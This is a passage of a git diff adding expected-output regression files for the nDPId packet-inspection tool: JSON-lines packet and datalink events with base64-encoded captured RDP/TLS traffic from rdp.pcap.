iBNb3ppbGxhLzUuMCAoTGludXg7IEFuZHJvaWQgNC40LjQ7IE1JIDNXIEJ1aWxkL0tUVTg0UCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi80LjAgQ2hyb21lLzMzLjAuMC4wIE1vYmlsZSBTYWZhcmkvNTM3LjM2DQoNCg=="} +00164{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":155,"source":"quickplay.pcap","alias":"nDPId-test","datalink":113} diff --git a/test/results/rdp.pcap.out b/test/results/rdp.pcap.out new file mode 100644 index 000000000..7da811186 --- /dev/null +++ b/test/results/rdp.pcap.out @@ -0,0 +1,4020 @@ +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":138576,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AgAAAEUAAEAAAEAAQAbIuKwQArnAqAKOzQ4NPfm84lgAAAAAsML\/\/7iqAAACBAT5AQMDBQEBCAoLUEqcAAAAAAQCAAA="} +00172{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00364{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":180991,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AgAAAEUAADRflEAAfwYqMMCoAo6sEAK5DT3NDkeav7z5vOJZgBL6AEVOAAACBAW0AQMDAAEBBAI="} +00172{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00348{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":181061,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm84llHmr+9UBAgAGAaAAA="} +00172{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00372{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":181421,"pkt_caplen":63,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":63,"pkt_l4_len":0,"pkt":"AgAAAEUAADsAAEAAQAbIvawQArnAqAKOzQ4NPfm84llHmr+9UBggAE34AAADAAATDuAAAAAAAAEACAALAAAA"} +00172{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":4,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00372{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":227138,"pkt_caplen":63,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":63,"pkt_l4_len":0,"pkt":"AgAAAEUAADtflUAAfwYqKMCoAo6sEAK5DT3NDkeav735vOJsUBj57ULVAAADAAATDtAAABI0AAIfCAAIAAAA"} +00172{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":5,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":227206,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm84mxHmr\/QUBAf\/1\/1AAA="} +00172{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":6,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00585{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":233091,"pkt_caplen":217,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":217,"pkt_l4_len":0,"pkt":"AgAAAEUAANUAAEAAQAbII6wQArnAqAKOzQ4NPfm84mxHmr\/QUBggABKnAAAWAwEAqAEAAKQDA1zvnin3BQ0WoaI5HWRiVoHjQlpwvdUEXbCiPT2yUNvnAAAsAP\/ALMArwCTAI8AKwAnACMAwwC\/AKMAnwBTAE8ASAJ0AnAA9ADwANQAvAAoBAABPAAAAEgAQAAANMTkyLjE2OC4yLjE0MgAKAAgABgAXABgAGQALAAIBAAANABIAEAQBAgEFAQYBBAMCAwUDBgMABQAFAQAAAAAAEgAAABcAAA=="} +00172{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":7,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +01945{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":277568,"pkt_caplen":1223,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1223,"pkt_l4_len":0,"pkt":"AgAAAEUABMNflkAAfwYln8CoAo6sEAK5DT3NDkeav9D5vOMZUBj5QKuGAAAWAwMElgIAAFEDA1zvnin8AUGUkJtTr4ZpnSM+2RrArpPrM7qDxn3DJRKEIFVGAABR8KHPh\/4\/wOMUcmdwGTgdyv+5NVtedG5BsvSYwDAAAAkAFwAA\/wEAAQALAALsAALpAALmMIIC4jCCAcqgAwIBAgIQPd4nEiP1T6FIzKXSF9iLMzANBgkqhkiG9w0BAQsFADAaMRgwFgYDVQQDEw9PRkZJQ0UtV0lOMTAtVk0wHhcNMTkwMzE5MTA0NzExWhcNMTkwOTE4MTA0NzExWjAaMRgwFgYDVQQDEw9PRkZJQ0UtV0lOMTAtVk0wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCmnhB8W9QqrWTYQoYGjYwgty0x3jTSQT85AZVtDcV3z5GRCJTQ9V97jXR46\/lCHDFPyWdC3VWiMYx0Ev\/K11PCEf8Lx\/+lP3ug8TM6xZ7JJ5q6b31xVyKbC88roItcx52XJ4hcCWpXxZSobcQwQfc45ILtYdTZfB3Zy+0uwN2rSg34mt4q3Jvu2D\/U4Yi\/VZKxykNRG8myMtGDQDU+IHtPvgR0jfCY2ALnqD0uBsE0CPfTZ8dLolNopTxB8S5OcCUUITR4eQU26hx8YnjqATvP6fmQ43a2EzywxETwwIfP1DRV17oS4JO\/Ly8Cy9wWzArjwwOX5ar\/kgtkgBltzLLNAgMBAAGjJDAiMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAsGA1UdDwQEAwIEMDANBgkqhkiG9w0BAQsFAAOCAQEAh78xVm7JFK2TkmvqBKerWwalPlRQL\/lp6bA2Xf92p1RD5XFbCOAJDPDinvFybu8GEu0gscJAV082Lt07sOIALp3hE\/W68wckcvlinkr7EE5FrUqlXYsAF2BDcZd+\/gGts2Mk2tleToCadmNJmG56kg6HgbZOazdAZK3AoWpgEGRooRcrzDZpKu+89OO7XvnOmoux6ve95UOrHvT37agqRyZeoqROwoyg\/5yuBjCKAZoWWhRU0Ub8XquTnwEOmrF6eGmpkVz0cZ3TPYPS0Y5LHzbxgKcE3KQIFKCVlP3nObLlf3UOyXXtaIvxQrUMqyXtHOtTl35DqXHj8CcZYxP+PAwAAUkDABdBBOIvU\/QqQcg5rXd6tYZ1z6uG7Cj9fXEoV0NwqQhU53\/2swTv98PaDy2OXIJOudSQbCgeSwKOLG1aOIBlX7Rm7AsEAQEAYYEjw5DcVp0tmh1VZs+xSLZD6Hb7cXFqfGCtc8E9xwbElwEOzgcN3fIDnxhoBayPCKb1uY0DlNS2WJvATuW3g2+NbGI6TxFOEC5sZ6Pt12ykW5\/SLF57tc\/5JeSuC8kmg5CiSuMvlpk1d0fT2zaE4+ByV2bxULmZ8bl2KiQGCgSYQ4G0tF3TBAJ1RO8ZUJbXV\/q\/2iiTFfEWA9dTS\/SbusY6VHTrM1jQJB5Dpdr6cJmokknPtkNkp6z72tVCXJ7TJHEvsTPiT+ILZKzdhVzf3Cj9sxaJP9PCjvMt53Xs08zfrg9cNwzDNw5TV7c+5C772ciZ3DoFal7AM0IqoSqX2A4AAAA="} +00172{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":8,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00348{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":277625,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm84xlHmsRrUBAf21rRAAA="} +00172{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":9,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00520{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":10,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":282795,"pkt_caplen":170,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":170,"pkt_l4_len":0,"pkt":"AgAAAEUAAKYAAEAAQAbIUqwQArnAqAKOzQ4NPfm84xlHmsRrUBggADa4AAAWAwMARhAAAEJBBNsJkY70ynR9zLyFtbbpXp3Se8eHP578FfFGuMG6XtqEsC1VOnanqA+Mbal3ZRKGmYHNvruMhg9vAN\/1vTL6QYIUAwMAAQEWAwMAKOAIO32NJwtB1R+IR8ZGg4W1B9xNzr1dfjy2U2K4JbSVXfPDwsrxrbA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":10,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00418{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":11,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":325838,"pkt_caplen":95,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":95,"pkt_l4_len":0,"pkt":"AgAAAEUAAFtfl0AAfwYqBsCoAo6sEAK5DT3NDkeaxGv5vOOXUBj4wkgxAAAUAwMAAQEWAwMAKAAAAAAAAAAAd+QoLo8iv3xS472eDSMCvzp\/RhtT1o2Famve+jDADK0="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":11,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":12,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":325907,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm845dHmsSeUBAf\/ln9AAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":12,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00467{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":13,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":367360,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AgAAAEUAAH4AAEAAQAbIeqwQArnAqAKOzQ4NPfm845dHmsSeUBggAEHjAAAXAwMAUeAIO32NJwtCbwf24aIUyDywi3mxc3B+r4F8a+fXQO3kdUPLZbR97ytm+YP6YOIORhLskIbGgI8tyWuJu1au9XGQW0YjANNgeAHN9MaSZfP+2A=="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":13,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00741{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":14,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":412012,"pkt_caplen":335,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":335,"pkt_l4_len":0,"pkt":"AgAAAEUAAUtfmEAAfwYpFcCoAo6sEAK5DT3NDkeaxJ75vOPtUBj4bIR8AAAXAwMBHgAAAAAAAAAB7zVEuKpz75sHB7C8fehvuQjcGumLY3N\/Sru6fo4qls5T3z5ueS0w0eAArKxHCOE1vXcc7iueWwH44ZVsAXSVBmg5AQsTvIwPqOKrBmtTNSqAHX5ZFz+30LB0z5+KteCJ8nmXgS9LPup8lkkZ4kGaMixOY3a41oQcTuwDD7sR6Uc7JzGCPYzKAUcFDPYIoNxuNUxOhQjoHtEe4lQzXwp5Vhrousl0DvU3wS3RrPgy0fYHrnXcjsojt6zzJ6fOVA9UTnJj+I9h38M6Tmwe85C411rDaQsQsopVBzfsU+EH5NQrwZRvEQ\/WEvBrJ4L2HvC6nzUOELT99nqHnhzYusCTvc1+JMZVKFs+E+jfPpccvj1OkXfzTxc="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":14,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":15,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":412070,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm84+1HmsXBUBAf9liMAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":15,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +01130{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":16,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":422236,"pkt_caplen":616,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":616,"pkt_l4_len":0,"pkt":"AgAAAEUAAmQAAEAAQAbGlKwQArnAqAKOzQ4NPfm84+1HmsXBUBggAKtgAAAXAwMCN+AIO32NJwtDmex214TX0f756KjCQ2tkCnYvD05hcIuz\/SJmwjz8oVsPv3rD8s0p4TLqHtq\/7F45ArWXONOkWPvWHx6AHEP7ic+gMZ3D68Iv5hXW6GOqJmNXcD3gdhxqZzYBv87jgYtIM5VeYHlqIP1eALC8\/O+ggjg7n2q9vwHTR0J7wPsL2vpRcllwd5x7RurM6cJWZcBop14V3HGAn3GJARi5j9HzHwIA0Ye6c6qCRC\/MwCQeQmc0cXJDSdP\/Mmxkkox7e\/0iODggpinckkXRlktEhOHlT9ByuqrQqKdIghYYEgNTBJwbtLFOYaIaB6LyNCVts95gr4qH2yMuuqMxjF2Hv9oTp8iY\/EnH3ZiVxe3rV2pR\/nco2fGMwPf7ZR4VyJnlL6RR4z4+p7c\/PSv\/QqykjaEf7vVsnlVd7MUwFdilWU8CBa6rmKU1kpuCP+AIexNSKtzdra0QMw8rcpoazcsmZpL3r06pWxSsJWg5BQ8rug8I3rx+qI+HvnQ9SIaFCIfGK2wo78HWhf\/bSVamotF\/85L0+v6SrU2peDb+KiQYJmPCw\/BIz4UYhglhK4giVO84VTzbcUXKwO58wDjEb1sm2GR5VMPAqPU\/nqqwR4CjXTNef8jaCke4KnF+cs2sYu5m53SwHOYaelOQccH38HsPEy5As5wQUqPrLMaTEPsWqNv6SoUPIcz+z1Wh0dMBF01fsv2E0DTFfLLOguzpP5wfx1b0btt2LqB\/yeeVjvYSHG6XJw=="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":16,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00467{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":17,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":465897,"pkt_caplen":132,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":132,"pkt_l4_len":0,"pkt":"AgAAAEUAAIBfmUAAfwYp38CoAo6sEAK5DT3NDkeaxcH5vOYpUBj2MAWYAAAXAwMAUwAAAAAAAAAC6+DQPjDe0JDeHk5N3kKXeJCzKCcqiptCDVcMVjsBXjlX7r92zWrLiVq0bihKXnb8EzMmAcJl0mVweLgRv6hqzmIN5Ir2lEw1+M+r"} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":17,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":18,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":465942,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm85ilHmsYZUBAf\/VXxAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":18,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00494{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":19,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":466244,"pkt_caplen":149,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":149,"pkt_l4_len":0,"pkt":"AgAAAEUAAJEAAEAAQAbIZ6wQArnAqAKOzQ4NPfm85ilHmsYZUBggAKp8AAAXAwMAZOAIO32NJwtEB+x3hlOwjKH\/ZNEm7jC3r30iogNB9XHdVsncQt9CluVkp65ZiTFSzJUYro3z\/Ypv5xgm1\/QMQzPnHsOUJbGi9COFpLGCFPVGZYybdflNVIef09dVzrm6aNIHLIM="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":19,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00393{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":20,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":509666,"pkt_caplen":77,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":77,"pkt_l4_len":0,"pkt":"AgAAAEUAAElfmkAAfwYqFcCoAo6sEAK5DT3NDkeaxhn5vOaSUBj1x3CFAAAXAwMAHAAAAAAAAAADtbmk7PlOUrzMRT4kxtWQJSC14wk="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":20,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":21,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":509711,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm85pJHmsY6UBAf\/lVmAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":21,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +01014{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":22,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":510008,"pkt_caplen":535,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":535,"pkt_l4_len":0,"pkt":"AgAAAEUAAhMAAEAAQAbG5awQArnAqAKOzQ4NPfm85pJHmsY6UBggAPJoAAAXAwMB5uAIO32NJwtFPPrNgn0nJB8y3SFl\/8lRVlEFeKO90AaZakwdaxO7UAC5E46JOoQewFx1ltZznWZ40ItTI03JNMZY6NgsTGEwUqrhUFJsnMNrhyziM0bzKrMQWnVUtCOitH6V2GX0vKN9n1XVaeUW0T1FYn2Fcy2G1OVCyPhdQnq4KG1sy+NXeja1dEs4aoHQjFKeT4mBlk0WuJhPGRYwxl64BZAT5QMdpgpOUT1POsvDwtC75RFl54kKpeqm\/vWjKhpsgyMr4fBCY3u7R5XpWVDFi8grHO6l6cUQF4AnQf8Fxx2\/9ABm98sbVUzm2oqQaJaXgF0CRzfw6cXUHFo80K9bcvasYJxaJCwihwkIJwcGxkYwIleIN8JZ\/bNsoOa45Yo8F5fOxygW2YKy1aBjdin2UAnjytwSjGt3potC2uUicmb2Ge2f3jdXfphCK5kxXvZkMJ+zUDgekFpXyTQnhc\/jaPNEl\/Dyc9temlvqgNQXNZBy\/gCl+q5+UnpWy2AgBifDIVIKUprerOTYflBoDkpmwUyPu9MbdfQDZM94Ycr3NeA25D1BCIUt3rFcn5IbiedgKSMcUjILNNAGlY7C8dJVKCtBwcKIv9ELVW7tJtnBpWFjuhnf0XE1dmjAosIXrLwzLKTVYA=="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":22,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00563{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":23,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":553395,"pkt_caplen":199,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":199,"pkt_l4_len":0,"pkt":"AgAAAEUAAMNfm0AAfwYpmsCoAo6sEAK5DT3NDkeaxjr5vOh9UBj6AImqAAAXAwMAlgAAAAAAAAAEPVjcPlM1gILtnxKHTfFvl4WYYEhxysBzgr6A3\/LqMEcsagcBq0Azi\/7vHBeUaFho4iKskkmFo1EKxjP+EzWGYWXSmi7Bv71g\/E7+kq4PxOLv7iVEP3En6Dq9UYUEILm67vRBKIzuKSMFA+0\/bC3oLSBycCjA9taCP9Lv0jwiiQXKFvB+nKGVtgx37HTsLg=="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":23,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":24,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":553452,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm86H1HmsbVUBAf+1LjAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":24,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00406{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":25,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":553759,"pkt_caplen":85,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":85,"pkt_l4_len":0,"pkt":"AgAAAEUAAFEAAEAAQAbIp6wQArnAqAKOzQ4NPfm86H1HmsbVUBggAOl8AAAXAwMAJOAIO32NJwtGmOP9aWI\/zYdkqKhMEJQHbfDHyttZbu8dPEVNtw=="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":25,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00397{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":26,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":553908,"pkt_caplen":81,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":81,"pkt_l4_len":0,"pkt":"AgAAAEUAAE0AAEAAQAbIq6wQArnAqAKOzQ4NPfm86KZHmsbVUBggAHASAAAXAwMAIOAIO32NJwtHXRGKnq1P8zc7qbpw8ts8Pl4DkcMudfML"} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":26,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":27,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":596951,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChfnEAAfwYqNMCoAo6sEAK5DT3NDkeaxtX5vOjLUBD5snjdAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":27,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00401{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":28,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":637202,"pkt_caplen":84,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":84,"pkt_l4_len":0,"pkt":"AgAAAEUAAFBfnUAAfwYqC8CoAo6sEAK5DT3NDkeaxtX5vOjLUBj5smGGAAAXAwMAIwAAAAAAAAAFicqsUvKE7d3sZoGdTCPGWQfAOkhsTm5OSC4o"} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":28,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":29,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":637256,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm86MtHmsb9UBAf\/lJqAAA="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":29,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00407{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":30,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":637553,"pkt_caplen":85,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":85,"pkt_l4_len":0,"pkt":"AgAAAEUAAFEAAEAAQAbIp6wQArnAqAKOzQ4NPfm86MtHmsb9UBggAEqNAAAXAwMAJOAIO32NJwtIG0SrXLh2AlXWwfR\/F\/D+13UweF4AWMDqWKKH6Q=="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":30,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00409{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":31,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207465,"pkt_ts_usec":679652,"pkt_caplen":88,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":88,"pkt_l4_len":0,"pkt":"AgAAAEUAAFRfnkAAfwYqBsCoAo6sEAK5DT3NDkeaxv35vOj0UBj5iQ4cAAAXAwMAJwAAAAAAAAAGhERfJaxfEN25F1ObimP+Q8+LkO+TIArKjsUtAfb0ew=="} +00173{"basic_event_id":1,"basic_event_name":"Unknown datalink layer 